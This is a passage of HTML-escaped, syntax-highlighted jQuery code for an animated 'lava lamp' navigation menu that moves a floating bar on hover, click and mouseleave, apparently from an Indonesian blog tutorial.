#f4f4f4"&gt;&lt;br /&gt;      &lt;pre style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&lt;span style="color: #003366; font-weight: bold"&gt;var&lt;/span&gt; default_width &lt;span style="color: #339933"&gt;=&lt;/span&gt; $&lt;span style="color: #009900"&gt;(&lt;/span&gt;&lt;span style="color: #3366cc"&gt;'#lava li.selected'&lt;/span&gt;&lt;span style="color: #009900"&gt;)&lt;/span&gt;.&lt;span style="color: #660066"&gt;width&lt;/span&gt;&lt;span style="color: #009900"&gt;(&lt;/span&gt;&lt;span style="color: #009900"&gt;)&lt;/span&gt;&lt;span style="color: #339933"&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;    &lt;/li&gt;&lt;br /&gt;&lt;br /&gt;    &lt;li&gt;&lt;br /&gt;      &lt;pre style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&amp;#160;&lt;/pre&gt;&lt;br /&gt;    &lt;/li&gt;&lt;br /&gt;&lt;br /&gt;    &lt;li style="background-color: #f4f4f4"&gt;&lt;br /&gt;      &lt;pre style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&lt;span style="font-style: italic; color: #006600"&gt;//Set the floating bar position and width&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;    &lt;/li&gt;&lt;br /&gt;&lt;br /&gt;    &lt;li&gt;&lt;br /&gt;      &lt;pre style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;$&lt;span style="color: #009900"&gt;(&lt;/span&gt;&lt;span style="color: #3366cc"&gt;'#box'&lt;/span&gt;&lt;span style="color: #009900"&gt;)&lt;/span&gt;.&lt;span style="color: #660066"&gt;css&lt;/span&gt;&lt;span style="color: #009900"&gt;(&lt;/span&gt;&lt;span style="color: #009900"&gt;{&lt;/span&gt;left&lt;span style="color: #339933"&gt;:&lt;/span&gt; default_left&lt;span style="color: #009900"&gt;}&lt;/span&gt;&lt;span style="color: #009900"&gt;)&lt;/span&gt;&lt;span style="color: #339933"&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;    &lt;/li&gt;&lt;br /&gt;&lt;br /&gt;    &lt;li style="background-color: #f4f4f4"&gt;&lt;br /&gt;      &lt;pre style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;$&lt;span style="color: #009900"&gt;(&lt;/span&gt;&lt;span style="color: #3366cc"&gt;'#box .head'&lt;/span&gt;&lt;span style="color: #009900"&gt;)&lt;/span&gt;.&lt;span style="color: #660066"&gt;css&lt;/span&gt;&lt;span style="color: #009900"&gt;(&lt;/span&gt;&lt;span style="color: #009900"&gt;{&lt;/span&gt;width&lt;span style="color: #339933"&gt;:&lt;/span&gt; default_width&lt;span style="color: #009900"&gt;}&lt;/span&gt;&lt;span style="color: #009900"&gt;)&lt;/span&gt;&lt;span style="color: #339933"&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;    &lt;/li&gt;&lt;br /&gt;&lt;br /&gt;    &lt;li&gt;&lt;br /&gt;      &lt;pre style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&amp;#160;&lt;/pre&gt;&lt;br /&gt;    &lt;/li&gt;&lt;br /&gt;&lt;br /&gt;    &lt;li style="background-color: #f4f4f4"&gt;&lt;br /&gt;      &lt;pre style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&lt;span style="font-style: italic; color: #006600"&gt;//if mouseover the menu item&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;    &lt;/li&gt;&lt;br /&gt;&lt;br /&gt;    &lt;li&gt;&lt;br /&gt;      &lt;pre style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;$&lt;span style="color: #009900"&gt;(&lt;/span&gt;&lt;span style="color: #3366cc"&gt;'#lava li'&lt;/span&gt;&lt;span style="color: #009900"&gt;)&lt;/span&gt;.&lt;span style="color: #660066"&gt;hover&lt;/span&gt;&lt;span style="color: #009900"&gt;(&lt;/span&gt;&lt;span style="color: #003366; font-weight: bold"&gt;function&lt;/span&gt; &lt;span style="color: #009900"&gt;(&lt;/span&gt;&lt;span style="color: #009900"&gt;)&lt;/span&gt; &lt;span style="color: #009900"&gt;{&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;    &lt;/li&gt;&lt;br /&gt;&lt;br /&gt;    &lt;li style="background-color: #f4f4f4"&gt;&lt;br /&gt;      &lt;pre style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&amp;#160;&lt;/pre&gt;&lt;br /&gt;    &lt;/li&gt;&lt;br /&gt;&lt;br /&gt;    &lt;li&gt;&lt;br /&gt;      &lt;pre style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&lt;span style="font-style: italic; color: #006600"&gt;//Get the position and width of the menu item&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;    &lt;/li&gt;&lt;br /&gt;&lt;br /&gt;    &lt;li style="background-color: #f4f4f4"&gt;&lt;br /&gt;      &lt;pre style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;left &lt;span style="color: #339933"&gt;=&lt;/span&gt; Math.&lt;span style="color: #660066"&gt;round&lt;/span&gt;&lt;span style="color: #009900"&gt;(&lt;/span&gt;$&lt;span style="color: #009900"&gt;(&lt;/span&gt;&lt;span style="color: #000066; font-weight: bold"&gt;this&lt;/span&gt;&lt;span style="color: #009900"&gt;)&lt;/span&gt;.&lt;span style="color: #660066"&gt;offset&lt;/span&gt;&lt;span style="color: #009900"&gt;(&lt;/span&gt;&lt;span style="color: #009900"&gt;)&lt;/span&gt;.&lt;span style="color: #660066"&gt;left&lt;/span&gt; &lt;span style="color: #339933"&gt;-&lt;/span&gt; $&lt;span style="color: #009900"&gt;(&lt;/span&gt;&lt;span style="color: #3366cc"&gt;'#lava'&lt;/span&gt;&lt;span style="color: #009900"&gt;)&lt;/span&gt;.&lt;span style="color: #660066"&gt;offset&lt;/span&gt;&lt;span style="color: #009900"&gt;(&lt;/span&gt;&lt;span style="color: #009900"&gt;)&lt;/span&gt;.&lt;span style="color: #660066"&gt;left&lt;/span&gt;&lt;span style="color: #009900"&gt;)&lt;/span&gt;&lt;span style="color: #339933"&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;    &lt;/li&gt;&lt;br /&gt;&lt;br /&gt;    &lt;li&gt;&lt;br /&gt;      &lt;pre style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;width &lt;span style="color: #339933"&gt;=&lt;/span&gt; $&lt;span style="color: #009900"&gt;(&lt;/span&gt;&lt;span style="color: #000066; font-weight: bold"&gt;this&lt;/span&gt;&lt;span style="color: #009900"&gt;)&lt;/span&gt;.&lt;span style="color: #660066"&gt;width&lt;/span&gt;&lt;span style="color: #009900"&gt;(&lt;/span&gt;&lt;span style="color: #009900"&gt;)&lt;/span&gt;&lt;span style="color: #339933"&gt;;&lt;/span&gt; &lt;/pre&gt;&lt;br /&gt;    &lt;/li&gt;&lt;br /&gt;&lt;br /&gt;    &lt;li style="background-color: #f4f4f4"&gt;&lt;br /&gt;      &lt;pre style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&amp;#160;&lt;/pre&gt;&lt;br /&gt;    &lt;/li&gt;&lt;br /&gt;&lt;br /&gt;    &lt;li&gt;&lt;br /&gt;      &lt;pre style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&lt;span style="font-style: italic; color: #006600"&gt;//Set the floating bar position, width and transition&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;    &lt;/li&gt;&lt;br /&gt;&lt;br /&gt;    &lt;li style="background-color: #f4f4f4"&gt;&lt;br /&gt;      &lt;pre style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;$&lt;span style="color: #009900"&gt;(&lt;/span&gt;&lt;span style="color: #3366cc"&gt;'#box'&lt;/span&gt;&lt;span style="color: #009900"&gt;)&lt;/span&gt;.&lt;span style="color: #000066"&gt;stop&lt;/span&gt;&lt;span style="color: #009900"&gt;(&lt;/span&gt;&lt;span style="color: #003366; font-weight: bold"&gt;false&lt;/span&gt;&lt;span style="color: #339933"&gt;,&lt;/span&gt; &lt;span style="color: #003366; font-weight: bold"&gt;true&lt;/span&gt;&lt;span style="color: #009900"&gt;)&lt;/span&gt;.&lt;span style="color: #660066"&gt;animate&lt;/span&gt;&lt;span style="color: #009900"&gt;(&lt;/span&gt;&lt;span style="color: #009900"&gt;{&lt;/span&gt;left&lt;span style="color: #339933"&gt;:&lt;/span&gt; left&lt;span style="color: #009900"&gt;}&lt;/span&gt;&lt;span style="color: #339933"&gt;,&lt;/span&gt;&lt;span style="color: #009900"&gt;{&lt;/span&gt;duration&lt;span style="color: #339933"&gt;:&lt;/span&gt;&lt;span style="color: #cc0000"&gt;1000&lt;/span&gt;&lt;span style="color: #339933"&gt;,&lt;/span&gt; easing&lt;span style="color: #339933"&gt;:&lt;/span&gt; style&lt;span style="color: #009900"&gt;}&lt;/span&gt;&lt;span style="color: #009900"&gt;)&lt;/span&gt;&lt;span style="color: #339933"&gt;;&lt;/span&gt; &lt;/pre&gt;&lt;br /&gt;    &lt;/li&gt;&lt;br /&gt;&lt;br /&gt;    &lt;li&gt;&lt;br /&gt;      &lt;pre style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;$&lt;span style="color: #009900"&gt;(&lt;/span&gt;&lt;span style="color: #3366cc"&gt;'#box .head'&lt;/span&gt;&lt;span style="color: #009900"&gt;)&lt;/span&gt;.&lt;span style="color: #000066"&gt;stop&lt;/span&gt;&lt;span style="color: #009900"&gt;(&lt;/span&gt;&lt;span style="color: #003366; font-weight: bold"&gt;false&lt;/span&gt;&lt;span style="color: #339933"&gt;,&lt;/span&gt; &lt;span style="color: #003366; font-weight: bold"&gt;true&lt;/span&gt;&lt;span style="color: #009900"&gt;)&lt;/span&gt;.&lt;span style="color: #660066"&gt;animate&lt;/span&gt;&lt;span style="color: #009900"&gt;(&lt;/span&gt;&lt;span style="color: #009900"&gt;{&lt;/span&gt;width&lt;span style="color: #339933"&gt;:&lt;/span&gt;width&lt;span style="color: #009900"&gt;}&lt;/span&gt;&lt;span style="color: #339933"&gt;,&lt;/span&gt;&lt;span style="color: #009900"&gt;{&lt;/span&gt;duration&lt;span style="color: #339933"&gt;:&lt;/span&gt;&lt;span style="color: #cc0000"&gt;1000&lt;/span&gt;&lt;span style="color: #339933"&gt;,&lt;/span&gt; easing&lt;span style="color: #339933"&gt;:&lt;/span&gt; style&lt;span style="color: #009900"&gt;}&lt;/span&gt;&lt;span style="color: #009900"&gt;)&lt;/span&gt;&lt;span style="color: #339933"&gt;;&lt;/span&gt; &lt;/pre&gt;&lt;br /&gt;    &lt;/li&gt;&lt;br /&gt;&lt;br /&gt;    &lt;li style="background-color: #f4f4f4"&gt;&lt;br /&gt;      &lt;pre style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&amp;#160;&lt;/pre&gt;&lt;br /&gt;    &lt;/li&gt;&lt;br /&gt;&lt;br /&gt;    &lt;li&gt;&lt;br /&gt;      &lt;pre style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&lt;span style="font-style: italic; color: #006600"&gt;//if user click on the menu&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;    &lt;/li&gt;&lt;br /&gt;&lt;br /&gt;    &lt;li style="background-color: #f4f4f4"&gt;&lt;br /&gt;      &lt;pre style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&lt;span style="color: #009900"&gt;}&lt;/span&gt;&lt;span style="color: #009900"&gt;)&lt;/span&gt;.&lt;span style="color: #660066"&gt;click&lt;/span&gt;&lt;span style="color: #009900"&gt;(&lt;/span&gt;&lt;span style="color: #003366; font-weight: bold"&gt;function&lt;/span&gt; &lt;span style="color: #009900"&gt;(&lt;/span&gt;&lt;span style="color: #009900"&gt;)&lt;/span&gt; &lt;span style="color: #009900"&gt;{&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;    &lt;/li&gt;&lt;br /&gt;&lt;br /&gt;    &lt;li&gt;&lt;br /&gt;      &lt;pre style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&amp;#160;&lt;/pre&gt;&lt;br /&gt;    &lt;/li&gt;&lt;br /&gt;&lt;br /&gt;    &lt;li style="background-color: #f4f4f4"&gt;&lt;br /&gt;      &lt;pre style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&lt;span style="font-style: italic; color: #006600"&gt;//reset the selected item&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;    &lt;/li&gt;&lt;br /&gt;&lt;br /&gt;    &lt;li&gt;&lt;br /&gt;      &lt;pre style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;$&lt;span style="color: #009900"&gt;(&lt;/span&gt;&lt;span style="color: #3366cc"&gt;'#lava li'&lt;/span&gt;&lt;span style="color: #009900"&gt;)&lt;/span&gt;.&lt;span style="color: #660066"&gt;removeClass&lt;/span&gt;&lt;span style="color: #009900"&gt;(&lt;/span&gt;&lt;span style="color: #3366cc"&gt;'selected'&lt;/span&gt;&lt;span style="color: #009900"&gt;)&lt;/span&gt;&lt;span style="color: #339933"&gt;;&lt;/span&gt; &lt;/pre&gt;&lt;br /&gt;    &lt;/li&gt;&lt;br /&gt;&lt;br /&gt;    &lt;li style="background-color: #f4f4f4"&gt;&lt;br /&gt;      &lt;pre style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&amp;#160;&lt;/pre&gt;&lt;br /&gt;    &lt;/li&gt;&lt;br /&gt;&lt;br /&gt;    &lt;li&gt;&lt;br /&gt;      &lt;pre style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&lt;span style="font-style: italic; color: #006600"&gt;//select the current item&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;    &lt;/li&gt;&lt;br /&gt;&lt;br /&gt;    &lt;li style="background-color: #f4f4f4"&gt;&lt;br /&gt;      &lt;pre style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;$&lt;span style="color: #009900"&gt;(&lt;/span&gt;&lt;span style="color: #000066; font-weight: bold"&gt;this&lt;/span&gt;&lt;span style="color: #009900"&gt;)&lt;/span&gt;.&lt;span style="color: #660066"&gt;addClass&lt;/span&gt;&lt;span style="color: #009900"&gt;(&lt;/span&gt;&lt;span style="color: #3366cc"&gt;'selected'&lt;/span&gt;&lt;span style="color: #009900"&gt;)&lt;/span&gt;&lt;span style="color: #339933"&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;    &lt;/li&gt;&lt;br /&gt;&lt;br /&gt;    &lt;li&gt;&lt;br /&gt;      &lt;pre style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&amp;#160;&lt;/pre&gt;&lt;br /&gt;    &lt;/li&gt;&lt;br /&gt;&lt;br /&gt;    &lt;li style="background-color: #f4f4f4"&gt;&lt;br /&gt;      &lt;pre style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&lt;span style="color: #009900"&gt;}&lt;/span&gt;&lt;span style="color: #009900"&gt;)&lt;/span&gt;&lt;span style="color: #339933"&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;    &lt;/li&gt;&lt;br /&gt;&lt;br /&gt;    &lt;li&gt;&lt;br /&gt;      &lt;pre style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&amp;#160;&lt;/pre&gt;&lt;br /&gt;    &lt;/li&gt;&lt;br /&gt;&lt;br /&gt;    &lt;li style="background-color: #f4f4f4"&gt;&lt;br /&gt;      &lt;pre style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&lt;span style="font-style: italic; color: #006600"&gt;//If the mouse leave the menu, reset the floating bar to the selected item&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;    &lt;/li&gt;&lt;br /&gt;&lt;br /&gt;    &lt;li&gt;&lt;br /&gt;      &lt;pre style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;$&lt;span style="color: #009900"&gt;(&lt;/span&gt;&lt;span style="color: #3366cc"&gt;'#lava'&lt;/span&gt;&lt;span style="color: #009900"&gt;)&lt;/span&gt;.&lt;span style="color: #660066"&gt;mouseleave&lt;/span&gt;&lt;span style="color: #009900"&gt;(&lt;/span&gt;&lt;span style="color: #003366; font-weight: bold"&gt;function&lt;/span&gt; &lt;span style="color: #009900"&gt;(&lt;/span&gt;&lt;span style="color: #009900"&gt;)&lt;/span&gt; &lt;span style="color: #009900"&gt;{&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;    &lt;/li&gt;&lt;br /&gt;&lt;br /&gt;    &lt;li style="background-color: #f4f4f4"&gt;&lt;br /&gt;      &lt;pre style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&amp;#160;&lt;/pre&gt;&lt;br /&gt;    &lt;/li&gt;&lt;br /&gt;&lt;br /&gt;    &lt;li&gt;&lt;br /&gt;      &lt;pre style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&lt;span style="font-style: italic; color: #006600"&gt;//Retrieve the selected item position and width&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;    &lt;/li&gt;&lt;br /&gt;&lt;br /&gt;    &lt;li style="background-color: #f4f4f4"&gt;&lt;br /&gt;      &lt;pre style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;default_left &lt;span style="color: #339933"&gt;=&lt;/span&gt; Math.&lt;span style="color: #660066"&gt;round&lt;/span&gt;&lt;span style="color: #009900"&gt;(&lt;/span&gt;$&lt;span style="color: #009900"&gt;(&lt;/span&gt;&lt;span style="color: #3366cc"&gt;'#lava li.selected'&lt;/span&gt;&lt;span style="color: #009900"&gt;)&lt;/span&gt;.&lt;span style="color: #660066"&gt;offset&lt;/span&gt;&lt;span style="color: #009900"&gt;(&lt;/span&gt;&lt;span style="color: #009900"&gt;)&lt;/span&gt;.&lt;span style="color: #660066"&gt;left&lt;/span&gt; &lt;span style="color: #339933"&gt;-&lt;/span&gt; $&lt;span style="color: #009900"&gt;(&lt;/span&gt;&lt;span style="color: #3366cc"&gt;'#lava'&lt;/span&gt;&lt;span style="color: #009900"&gt;)&lt;/span&gt;.&lt;span style="color: #660066"&gt;offset&lt;/span&gt;&lt;span style="color: #009900"&gt;(&lt;/span&gt;&lt;span style="color: #009900"&gt;)&lt;/span&gt;.&lt;span style="color: #660066"&gt;left&lt;/span&gt;&lt;span style="color: #009900"&gt;)&lt;/span&gt;&lt;span style="color: #339933"&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;    &lt;/li&gt;&lt;br /&gt;&lt;br /&gt;    &lt;li&gt;&lt;br /&gt;      &lt;pre style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;default_width &lt;span style="color: #339933"&gt;=&lt;/span&gt; $&lt;span style="color: #009900"&gt;(&lt;/span&gt;&lt;span style="color: #3366cc"&gt;'#lava li.selected'&lt;/span&gt;&lt;span style="color: #009900"&gt;)&lt;/span&gt;.&lt;span style="color: #660066"&gt;width&lt;/span&gt;&lt;span style="color: #009900"&gt;(&lt;/span&gt;&lt;span style="color: #009900"&gt;)&lt;/span&gt;&lt;span style="color: #339933"&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;    &lt;/li&gt;&lt;br /&gt;&lt;br /&gt;    &lt;li style="background-color: #f4f4f4"&gt;&lt;br /&gt;      &lt;pre style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&amp;#160;&lt;/pre&gt;&lt;br /&gt;    &lt;/li&gt;&lt;br /&gt;&lt;br /&gt;    &lt;li&gt;&lt;br /&gt;      &lt;pre style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&lt;span style="font-style: italic; color: #006600"&gt;//Set the floating bar position, width and transition&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;    &lt;/li&gt;&lt;br /&gt;&lt;br /&gt;    &lt;li style="background-color: #f4f4f4"&gt;&lt;br /&gt;      &lt;pre style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;$&lt;span style="color: #009900"&gt;(&lt;/span&gt;&lt;span style="color: #3366cc"&gt;'#box'&lt;/span&gt;&lt;span style="color: #009900"&gt;)&lt;/span&gt;.&lt;span style="color: #000066"&gt;stop&lt;/span&gt;&lt;span style="color: #009900"&gt;(&lt;/span&gt;&lt;span style="color: #003366; font-weight: bold"&gt;false&lt;/span&gt;&lt;span style="color: #339933"&gt;,&lt;/span&gt; &lt;span style="color: #003366; font-weight: bold"&gt;true&lt;/span&gt;&lt;span style="color: #009900"&gt;)&lt;/span&gt;.&lt;span style="color: #660066"&gt;animate&lt;/span&gt;&lt;span style="color: #009900"&gt;(&lt;/span&gt;&lt;span style="color: #009900"&gt;{&lt;/span&gt;left&lt;span style="color: #339933"&gt;:&lt;/span&gt; default_left&lt;span style="color: #009900"&gt;}&lt;/span&gt;&lt;span style="color: #339933"&gt;,&lt;/span&gt;&lt;span style="color: #009900"&gt;{&lt;/span&gt;duration&lt;span style="color: #339933"&gt;:&lt;/span&gt;&lt;span style="color: #cc0000"&gt;1500&lt;/span&gt;&lt;span style="color: #339933"&gt;,&lt;/span&gt; easing&lt;span style="color: #339933"&gt;:&lt;/span&gt; style&lt;span style="color: #009900"&gt;}&lt;/span&gt;&lt;span style="color: #009900"&gt;)&lt;/span&gt;&lt;span style="color: #339933"&gt;;&lt;/span&gt; &lt;/pre&gt;&lt;br /&gt;    &lt;/li&gt;&lt;br /&gt;&lt;br /&gt;    &lt;li&gt;&lt;br /&gt;      &lt;pre style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;$&lt;span style="color: #009900"&gt;(&lt;/span&gt;&lt;span style="color: #3366cc"&gt;'#box .head'&lt;/span&gt;&lt;span style="color: #009900"&gt;)&lt;/span&gt;.&lt;span style="color: #000066"&gt;stop&lt;/span&gt;&lt;span style="color: #009900"&gt;(&lt;/span&gt;&lt;span style="color: #003366; font-weight: bold"&gt;false&lt;/span&gt;&lt;span style="color: #339933"&gt;,&lt;/span&gt; &lt;span style="color: #003366; font-weight: bold"&gt;true&lt;/span&gt;&lt;span style="color: #009900"&gt;)&lt;/span&gt;.&lt;span style="color: #660066"&gt;animate&lt;/span&gt;&lt;span style="color: #009900"&gt;(&lt;/span&gt;&lt;span style="color: #009900"&gt;{&lt;/span&gt;width&lt;span style="color: #339933"&gt;:&lt;/span&gt;default_width&lt;span style="color: #009900"&gt;}&lt;/span&gt;&lt;span style="color: #339933"&gt;,&lt;/span&gt;&lt;span style="color: #009900"&gt;{&lt;/span&gt;duration&lt;span style="color: #339933"&gt;:&lt;/span&gt;&lt;span style="color: #cc0000"&gt;1500&lt;/span&gt;&lt;span style="color: #339933"&gt;,&lt;/span&gt; easing&lt;span style="color: #339933"&gt;:&lt;/span&gt; style&lt;span style="color: #009900"&gt;}&lt;/span&gt;&lt;span style="color: #009900"&gt;)&lt;/span&gt;&lt;span style="color: #339933"&gt;;&lt;/span&gt;  &lt;/pre&gt;&lt;br /&gt;    &lt;/li&gt;&lt;br /&gt;&lt;br /&gt;    &lt;li style="background-color: #f4f4f4"&gt;&lt;br /&gt;      &lt;pre style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&amp;#160;&lt;/pre&gt;&lt;br /&gt;    &lt;/li&gt;&lt;br /&gt;&lt;br /&gt;    &lt;li&gt;&lt;br /&gt;      &lt;pre style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&lt;span style="color: #009900"&gt;}&lt;/span&gt;&lt;span style="color: #009900"&gt;)&lt;/span&gt;&lt;span style="color: #339933"&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;    &lt;/li&gt;&lt;br /&gt;&lt;br /&gt;    &lt;li style="background-color: #f4f4f4"&gt;&lt;br /&gt;      &lt;pre style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&amp;#160;&lt;/pre&gt;&lt;br /&gt;    &lt;/li&gt;&lt;br /&gt;&lt;br /&gt;    &lt;li&gt;&lt;br /&gt;      &lt;pre style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&lt;span style="color: #009900"&gt;}&lt;/span&gt;&lt;span style="color: #009900"&gt;)&lt;/span&gt;&lt;span style="color: #339933"&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;    &lt;/li&gt;&lt;br /&gt;  &lt;/ol&gt;&lt;br /&gt;&lt;br /&gt;  &lt;div style="text-align: center; background-color: #4bacc6; color: #ffffff; font-weight: bold"&gt;Parsed in 0.021 seconds at 81.29 KB/s&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;untuk lebih lanjutnya, Anda dapat melihatnya di situs resmi &lt;a 